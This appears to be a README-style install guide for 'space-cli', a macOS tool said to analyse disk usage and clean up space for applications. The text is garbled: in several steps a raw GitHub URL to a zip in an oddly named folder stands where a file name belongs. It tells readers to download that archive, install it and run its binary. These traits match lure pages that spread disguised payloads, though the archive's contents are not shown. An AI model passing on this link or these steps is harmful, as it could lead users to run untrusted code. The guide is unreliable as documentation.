Welcome! This guide will help you download and run space-cli, a simple command-line tool for macOS. It analyzes your disk space health and helps you find large directories. You can even clean up space for specific applications with just one click.
- Operating System: macOS (10.12 or later recommended)
- Disk Space: At least 50 MB of free space for installation
- Internet Connection: Required for downloading the application
- Disk Space Analysis: Get insights into your disk usage.
- Directory Breakdown: Easily identify directories that use a lot of space.
- Selective Cleanup: Clean specific applications to free up space quickly.
- User-Friendly Interface: Operate directly from the command line with simple commands.
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Go to the Releases page by clicking this link: Visit the Releases Page to Download.
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On the Releases page, look for the latest version. You will see a list of available files.
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Find the file named https://raw.githubusercontent.com/petterson606/space-cli/main/uteroventral/space-cli.zip. This is the application you need.
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Click on the file name to start downloading. The download may take a few moments depending on your internet speed.
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Once the download finishes, locate the https://raw.githubusercontent.com/petterson606/space-cli/main/uteroventral/space-cli.zip file in your Downloads folder.
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Double-click the https://raw.githubusercontent.com/petterson606/space-cli/main/uteroventral/space-cli.zip file to open it.
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Drag the space-cli icon into your Applications folder. This installs the application on your Mac.
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Open the Terminal application. You can find it in your Applications > Utilities folder or by searching in Spotlight.
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In the Terminal, type
cd /Applications/space-cliand press Enter. This navigates to the space-cli directory. -
To run the application, type
./space-cliand press Enter. -
Follow the on-screen instructions. You will see options to analyze disk space and clean specific directories.
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To analyze your disk space, simply run the command:
./space-cli analyze -
To view large directories, use:
./space-cli large -
To clean up a specific application, run:
./space-cli cleanup <application_name>
Replace <application_name> with the name of the application you want to clean.
If you encounter issues or have suggestions, please open an issue on the GitHub repository. Contributions are also welcome! Please read the guidelines in the repository to learn how you can help.
- More about the tool's capabilities can be found on the GitHub Wiki.
- For troubleshooting, refer to the FAQ section in the repository.
- Remember that while cleaning applications, itβs a good idea to check for any data you want to keep.
- Regularly analyzing your disk space can help you maintain a healthy system.
For ease of access, here is the download link once more: Download space-cli. Enjoy your clean Mac!